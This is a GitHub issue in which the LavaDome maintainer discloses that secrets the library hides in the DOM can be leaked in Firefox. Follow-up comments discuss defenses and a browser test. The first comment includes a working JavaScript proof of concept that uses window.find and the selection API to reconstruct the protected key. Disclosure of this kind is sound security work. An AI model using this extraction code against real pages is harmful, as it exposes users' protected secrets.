Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

LavaDome is vulnerable to selection API #15

Open
weizman opened this issue Jan 1, 2024 · 2 comments
Open

LavaDome is vulnerable to selection API #15

weizman opened this issue Jan 1, 2024 · 2 comments
Labels
bypass LavaDome security breach firefox Firefox related

Comments

@weizman
Copy link
Member

weizman commented Jan 1, 2024

When running in Firefox, Secret protected by LavaDome can easily be leaked.

  • Visit the demo using Firefox
  • Open console and run the code below, see how full key is obtained by code
setTimeout(()=>{
    document.body.prepend('xxx');
    const result = [];
    for (const l of 'abcdefghijklmnopqrstuvwxyz0123456789') {
        while (find(l)) {
            const anchor = getSelection().anchorNode;
            const host = anchor?.parentNode?.parentNode?.host;
            if (host instanceof HTMLElement) {
                const at = Array.from(host.parentElement.children).indexOf(host);
                result[at] = l;
            }
        }
        window.find('xxx', false, true);
    }
    console.log('key', result.join(''));
}
, 1000);
@weizman
Copy link
Member Author

weizman commented Jan 1, 2024

We saw that coming already (see "secret splitting" section).

I don't see a way around this at the moment, so either we convince browsers to ship a native and secure Snow version (which will take years) or we convince Firefox to fix the bug that's causing this (wip)

Or we come up with a clever defense. I thought about making use of selectionchange event which captures the find call, but since attack is sync, the secret is compromised before the event fires...

I wonder how this one will play out

@weizman weizman added bypass LavaDome security breach firefox Firefox related labels Jun 23, 2024
@weizman weizman changed the title LavaDome is fully vulnerable in Firefox LavaDome is vulnerable to selection API Jul 3, 2024
@weizman
Copy link
Member Author

weizman commented Jul 25, 2024

WPT regarding this merged https://github.com/web-platform-tests/wpt/pull/47024/files 🤞

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bypass LavaDome security breach firefox Firefox related
Projects
None yet
Development

No branches or pull requests

1 participant